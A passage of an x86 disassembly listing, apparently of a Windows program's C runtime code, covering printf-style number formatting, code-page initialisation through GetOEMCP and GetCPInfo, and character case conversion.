		jz	short loc_41B674
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B63F:				; CODE XREF: sub_41B184+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41B658
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B658:				; CODE XREF: sub_41B184+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41B65D:				; CODE XREF: sub_41B184+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B669:				; CODE XREF: sub_41B184+2F7j
					; sub_41B184+40Ej
		or	[ebp+var_4], 40h


loc_41B66D:				; CODE XREF: sub_41B184+432j
		mov	[ebp+var_C], 0Ah


loc_41B674:				; CODE XREF: sub_41B184+491j
					; sub_41B184+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41B686
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B970
		pop	ecx
		jmp	short loc_41B6C7
; ---------------------------------------------------------------------------


loc_41B686:				; CODE XREF: sub_41B184+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41B6AD
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B6A2
		call	sub_41B963
		pop	ecx
		movsx	eax, ax


loc_41B69F:				; CODE XREF: sub_41B184+527j
					; sub_41B184+539j
		cdq
		jmp	short loc_41B6C7
; ---------------------------------------------------------------------------


loc_41B6A2:				; CODE XREF: sub_41B184+510j
		call	sub_41B963
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41B69F
; ---------------------------------------------------------------------------


loc_41B6AD:				; CODE XREF: sub_41B184+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B6BF
		call	sub_41B963
		pop	ecx
		jmp	short loc_41B69F
; ---------------------------------------------------------------------------


loc_41B6BF:				; CODE XREF: sub_41B184+531j
		call	sub_41B963
		pop	ecx
		xor	edx, edx


loc_41B6C7:				; CODE XREF: sub_41B184+500j
					; sub_41B184+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41B6E8
		test	edx, edx
		jg	short loc_41B6E8
		jl	short loc_41B6D7
		test	eax, eax
		jnb	short loc_41B6E8


loc_41B6D7:				; CODE XREF: sub_41B184+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41B6EC
; ---------------------------------------------------------------------------


loc_41B6E8:				; CODE XREF: sub_41B184+547j
					; sub_41B184+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41B6EC:				; CODE XREF: sub_41B184+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41B6F5
		and	edi, 0


loc_41B6F5:				; CODE XREF: sub_41B184+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41B704
		mov	[ebp+var_10], 1
		jmp	short loc_41B708
; ---------------------------------------------------------------------------


loc_41B704:				; CODE XREF: sub_41B184+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41B708:				; CODE XREF: sub_41B184+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41B712
		and	[ebp+var_1C], 0


loc_41B712:				; CODE XREF: sub_41B184+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41B718:				; CODE XREF: sub_41B184+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41B728
		mov	eax, esi
		or	eax, edi
		jz	short loc_41B763


loc_41B728:				; CODE XREF: sub_41B184+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_419870
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419800
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41B759
		add	ebx, [ebp+var_2C]


loc_41B759:				; CODE XREF: sub_41B184+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B763:				; CODE XREF: sub_41B184+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41B78E
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41B781
		test	eax, eax
		jnz	short loc_41B78E


loc_41B781:				; CODE XREF: sub_41B184+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41B78B:				; CODE XREF: sub_41B184+35Fj
					; sub_41B184+406j ...
		mov	[ebp+var_C], eax


loc_41B78E:				; CODE XREF: sub_41B184+21Bj
					; sub_41B184+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41B88C	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41B7C6
		test	bh, 1
		jz	short loc_41B7AB
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41B7BF
; ---------------------------------------------------------------------------


loc_41B7AB:				; CODE XREF: sub_41B184+61Fj
		test	bl, 1
		jz	short loc_41B7B6
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41B7BF
; ---------------------------------------------------------------------------


loc_41B7B6:				; CODE XREF: sub_41B184+62Aj
		test	bl, 2
		jz	short loc_41B7C6
		mov	[ebp+var_16], 20h


loc_41B7BF:				; CODE XREF: sub_41B184+625j
					; sub_41B184+630j
		mov	[ebp+var_1C], 1


loc_41B7C6:				; CODE XREF: sub_41B184+61Aj
					; sub_41B184+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41B7E6
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41B8FA
		add	esp, 10h


loc_41B7E6:				; CODE XREF: sub_41B184+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B92B
		add	esp, 10h
		test	bl, 8
		jz	short loc_41B818
		test	bl, 4
		jnz	short loc_41B818
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41B8FA
		add	esp, 10h


loc_41B818:				; CODE XREF: sub_41B184+67Bj
					; sub_41B184+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41B85F
		cmp	[ebp+var_C], 0
		jle	short loc_41B85F
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41B82D:				; CODE XREF: sub_41B184+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41F93C
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41B874
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41B92B
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41B82D
		jmp	short loc_41B874
; ---------------------------------------------------------------------------


loc_41B85F:				; CODE XREF: sub_41B184+698j
					; sub_41B184+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41B92B
		add	esp, 10h


loc_41B874:				; CODE XREF: sub_41B184+6BCj
					; sub_41B184+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41B88C ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41B8FA
		add	esp, 10h


loc_41B88C:				; CODE XREF: sub_41B184+68j
					; sub_41B184+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41B1B0


loc_41B89D:				; CODE XREF: sub_41B184+1Fj
					; sub_41B184+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B184	endp

; ---------------------------------------------------------------------------
off_41B8A5	dd offset loc_41B323	; DATA XREF: sub_41B184+6Er
		dd offset loc_41B1F9	; jump table for switch	statement
		dd offset loc_41B214
		dd offset loc_41B260
		dd offset loc_41B297
		dd offset loc_41B29F
		dd offset loc_41B2D4
		dd offset loc_41B367

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8C5	proc near		; CODE XREF: sub_41B184+1BDp
					; sub_41B184+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41B8DE
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41B8E9
; ---------------------------------------------------------------------------


loc_41B8DE:				; CODE XREF: sub_41B8C5+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_41B8E9:				; CODE XREF: sub_41B8C5+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41B8F6
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B8F6:				; CODE XREF: sub_41B8C5+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41B8C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8FA	proc near		; CODE XREF: sub_41B184+65Ap
					; sub_41B184+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41B928
		mov	esi, [esp+8+arg_C]


loc_41B90B:				; CODE XREF: sub_41B8FA+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41B8C5
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41B928
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41B90B


loc_41B928:				; CODE XREF: sub_41B8FA+Bj
					; sub_41B8FA+25j
		pop	edi
		pop	esi
		retn
sub_41B8FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B92B	proc near		; CODE XREF: sub_41B184+670p
					; sub_41B184+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41B95F
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41B941:				; CODE XREF: sub_41B92B+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41B8C5
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41B95F
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41B941


loc_41B95F:				; CODE XREF: sub_41B92B+Cj
					; sub_41B92B+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B92B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B963	proc near		; CODE XREF: sub_41B184+E5p
					; sub_41B184+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41B963	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B970	proc near		; CODE XREF: sub_41B184+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41B970	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B980	proc near		; CODE XREF: sub_41B184+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B98E	proc near		; CODE XREF: sub_41BD52+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41BB27	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4D9B24
		mov	[ebp+arg_0], esi
		jz	loc_41BB1B
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41BB11
		xor	edx, edx
		mov	eax, offset dword_43ADA8


loc_41B9C2:				; CODE XREF: sub_41B98E+41j
		cmp	[eax], esi
		jz	short loc_41BA38
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43AE98
		jl	short loc_41B9C2
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4231B0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41BB09
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4D9C40
		cmp	[ebp+var_18], 1
		mov	dword_4D9B24, esi
		rep stosd
		stosb
		mov	dword_4D9D44, ebx
		jbe	loc_41BAF7
		cmp	[ebp+var_12], 0
		jz	loc_41BACD
		lea	ecx, [ebp+var_11]


loc_41BA15:				; CODE XREF: sub_41B98E+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41BACD
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41BA26:				; CODE XREF: sub_41B98E+A8j
		cmp	eax, edx
		ja	loc_41BAC1
		or	byte_4D9C41[eax], 4
		inc	eax
		jmp	short loc_41BA26
; ---------------------------------------------------------------------------


loc_41BA38:				; CODE XREF: sub_41B98E+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4D9C40
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43ADB8[esi]


loc_41BA54:				; CODE XREF: sub_41B98E+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41BA87


loc_41BA5B:				; CODE XREF: sub_41B98E+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41BA87
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41BA80
		mov	edx, [ebp+var_4]
		mov	dl, byte_43ADA0[edx]


loc_41BA75:				; CODE XREF: sub_41B98E+F0j
		or	byte_4D9C41[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41BA75


loc_41BA80:				; CODE XREF: sub_41B98E+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41BA5B


loc_41BA87:				; CODE XREF: sub_41B98E+CBj
					; sub_41B98E+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41BA54
		mov	eax, [ebp+arg_0]
		mov	dword_4D9B3C, 1
		push	eax
		mov	dword_4D9B24, eax
		call	sub_41BB71
		lea	esi, dword_43ADAC[esi]
		mov	edi, offset dword_4D9B30
		movsd
		movsd
		pop	ecx
		mov	dword_4D9D44, eax
		movsd
		jmp	short loc_41BB16
; ---------------------------------------------------------------------------


loc_41BAC1:				; CODE XREF: sub_41B98E+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41BA15


loc_41BACD:				; CODE XREF: sub_41B98E+7Ej
					; sub_41B98E+8Bj
		push	1
		pop	eax


loc_41BAD0:				; CODE XREF: sub_41B98E+14Fj
		or	byte_4D9C41[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41BAD0
		push	esi
		call	sub_41BB71
		pop	ecx
		mov	dword_4D9D44, eax
		mov	dword_4D9B3C, 1
		jmp	short loc_41BAFD
; ---------------------------------------------------------------------------


loc_41BAF7:				; CODE XREF: sub_41B98E+74j
		mov	dword_4D9B3C, ebx


loc_41BAFD:				; CODE XREF: sub_41B98E+167j
		xor	eax, eax
		mov	edi, offset dword_4D9B30
		stosd
		stosd
		stosd
		jmp	short loc_41BB16
; ---------------------------------------------------------------------------


loc_41BB09:				; CODE XREF: sub_41B98E+51j
		cmp	dword_4D8754, ebx
		jz	short loc_41BB1F


loc_41BB11:				; CODE XREF: sub_41B98E+27j
		call	sub_41BBA4


loc_41BB16:				; CODE XREF: sub_41B98E+131j
					; sub_41B98E+179j
		call	sub_41BBCD


loc_41BB1B:				; CODE XREF: sub_41B98E+1Dj
		xor	eax, eax
		jmp	short loc_41BB22
; ---------------------------------------------------------------------------


loc_41BB1F:				; CODE XREF: sub_41B98E+181j
		or	eax, 0FFFFFFFFh


loc_41BB22:				; CODE XREF: sub_41B98E+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B98E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB27	proc near		; CODE XREF: sub_41B98E+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4D8754, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41BB47
		mov	dword_4D8754, 1
		jmp	dword_423060
; ---------------------------------------------------------------------------


loc_41BB47:				; CODE XREF: sub_41BB27+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41BB5C
		mov	dword_4D8754, 1
		jmp	dword_4231B4
; ---------------------------------------------------------------------------


loc_41BB5C:				; CODE XREF: sub_41BB27+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41BB70
		mov	eax, dword_4D8798
		mov	dword_4D8754, 1

locret_41BB70:				; CODE XREF: sub_41BB27+38j
		retn
sub_41BB27	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB71	proc near		; CODE XREF: sub_41B98E+118p
					; sub_41B98E+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41BB9E
		sub	eax, 4
		jz	short loc_41BB98
		sub	eax, 0Dh
		jz	short loc_41BB92
		dec	eax
		jz	short loc_41BB8C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BB8C:				; CODE XREF: sub_41BB71+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41BB92:				; CODE XREF: sub_41BB71+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41BB98:				; CODE XREF: sub_41BB71+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41BB9E:				; CODE XREF: sub_41BB71+9j
		mov	eax, 411h
		retn
sub_41BB71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA4	proc near		; CODE XREF: sub_41B98E:loc_41BB11p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4D9C40
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4D9B30
		mov	dword_4D9B24, eax
		mov	dword_4D9B3C, eax
		mov	dword_4D9D44, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41BBA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBCD	proc near		; CODE XREF: sub_41B98E:loc_41BB16p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4D9B24
		call	dword_4231B0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41BD06
		xor	eax, eax
		mov	esi, 100h


loc_41BBF7:				; CODE XREF: sub_41BBCD+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41BBF7
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41BC48
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41BC16:				; CODE XREF: sub_41BBCD+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41BC3D
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41BC3D:				; CODE XREF: sub_41BBCD+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41BC16
		pop	edi
		pop	ebx


loc_41BC48:				; CODE XREF: sub_41BBCD+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4D9D44
		push	dword_4D9B24
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41F7CD
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4D9B24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4D9D44
		call	sub_41E3D5
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4D9B24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4D9D44
		call	sub_41E3D5
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41BCC3:				; CODE XREF: sub_41BBCD+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41BCE1
		or	byte_4D9C41[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41BCD9:				; CODE XREF: sub_41BBCD+127j
		mov	byte_4D9B40[eax], dl
		jmp	short loc_41BCFD
; ---------------------------------------------------------------------------


loc_41BCE1:				; CODE XREF: sub_41BBCD+FCj
		test	dl, 2
		jz	short loc_41BCF6
		or	byte_4D9C41[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41BCD9
; ---------------------------------------------------------------------------


loc_41BCF6:				; CODE XREF: sub_41BBCD+117j
		and	byte_4D9B40[eax], 0


loc_41BCFD:				; CODE XREF: sub_41BBCD+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41BCC3
		jmp	short loc_41BD4F
; ---------------------------------------------------------------------------


loc_41BD06:				; CODE XREF: sub_41BBCD+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41BD0D:				; CODE XREF: sub_41BBCD+180j
		cmp	eax, 41h
		jb	short loc_41BD2B
		cmp	eax, 5Ah
		ja	short loc_41BD2B
		or	byte_4D9C41[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41BD23:				; CODE XREF: sub_41BBCD+174j
		mov	byte_4D9B40[eax], cl
		jmp	short loc_41BD4A
; ---------------------------------------------------------------------------


loc_41BD2B:				; CODE XREF: sub_41BBCD+143j
					; sub_41BBCD+148j
		cmp	eax, 61h
		jb	short loc_41BD43
		cmp	eax, 7Ah
		ja	short loc_41BD43
		or	byte_4D9C41[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41BD23
; ---------------------------------------------------------------------------


loc_41BD43:				; CODE XREF: sub_41BBCD+161j
					; sub_41BBCD+166j
		and	byte_4D9B40[eax], 0


loc_41BD4A:				; CODE XREF: sub_41BBCD+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41BD0D


loc_41BD4F:				; CODE XREF: sub_41BBCD+137j
		pop	esi
		leave
		retn
sub_41BBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD52	proc near		; CODE XREF: sub_41E7A8+9p
					; sub_41E800+Dp ...
		cmp	dword_4D9D6C, 0
		jnz	short locret_41BD6D
		push	0FFFFFFFDh
		call	sub_41B98E
		pop	ecx
		mov	dword_4D9D6C, 1

locret_41BD6D:				; CODE XREF: sub_41BD52+7j
		retn
sub_41BD52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD6E	proc near		; CODE XREF: sub_417EE1+2Bp
					; sub_417EE1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4D9B3C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41BD92
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_417B00
		add	esp, 0Ch
		jmp	short loc_41BDF5
; ---------------------------------------------------------------------------


loc_41BD92:				; CODE XREF: sub_41BD6E+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41BDD7
		mov	ecx, [ebp+arg_4]


loc_41BD9D:				; CODE XREF: sub_41BD6E+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4D9C41[esi], 4
		mov	[edi], al
		jz	short loc_41BDC1
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41BDCD
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41BDD3
		jmp	short loc_41BDC7
; ---------------------------------------------------------------------------


loc_41BDC1:				; CODE XREF: sub_41BD6E+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41BDD7


loc_41BDC7:				; CODE XREF: sub_41BD6E+51j
		test	edx, edx
		jnz	short loc_41BD9D
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD6E+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD3:				; CODE XREF: sub_41BD6E+4Fj
		and	byte ptr [edi-2], 0


loc_41BDD7:				; CODE XREF: sub_41BD6E+2Aj
					; sub_41BD6E+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41BDF2
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41BDF2:				; CODE XREF: sub_41BD6E+6Fj
		mov	eax, [ebp+arg_0]


loc_41BDF5:				; CODE XREF: sub_41BD6E+22j
		pop	edi
		pop	ebp
		retn
sub_41BD6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDF8	proc near		; CODE XREF: sub_4180B6+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D8788, 0
		push	ebx
		jnz	short loc_41BE23
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41BEC1
		cmp	eax, 7Ah
		jg	loc_41BEC1
		sub	eax, 20h
		jmp	loc_41BEC1
; ---------------------------------------------------------------------------


loc_41BE23:				; CODE XREF: sub_41BDF8+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41BE56
		cmp	dword_43AD8C, 1
		jle	short loc_41BE43
		push	2
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41BE4E
; ---------------------------------------------------------------------------


loc_41BE43:				; CODE XREF: sub_41BDF8+3Dj
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41BE4E:				; CODE XREF: sub_41BDF8+49j
		test	eax, eax
		jnz	short loc_41BE56


loc_41BE52:				; CODE XREF: sub_41BDF8+AFj
		mov	eax, ebx
		jmp	short loc_41BEC1
; ---------------------------------------------------------------------------


loc_41BE56:				; CODE XREF: sub_41BDF8+34j
					; sub_41BDF8+58j
		mov	edx, off_43AB80
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41BE79
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41BE82
; ---------------------------------------------------------------------------


loc_41BE79:				; CODE XREF: sub_41BDF8+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41BE82:				; CODE XREF: sub_41BDF8+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4D8788
		call	sub_41E3D5
		add	esp, 20h
		test	eax, eax
		jz	short loc_41BE52
		cmp	eax, 1
		jnz	short loc_41BEB4
		movzx	eax, [ebp+var_4]
		jmp	short loc_41BEC1
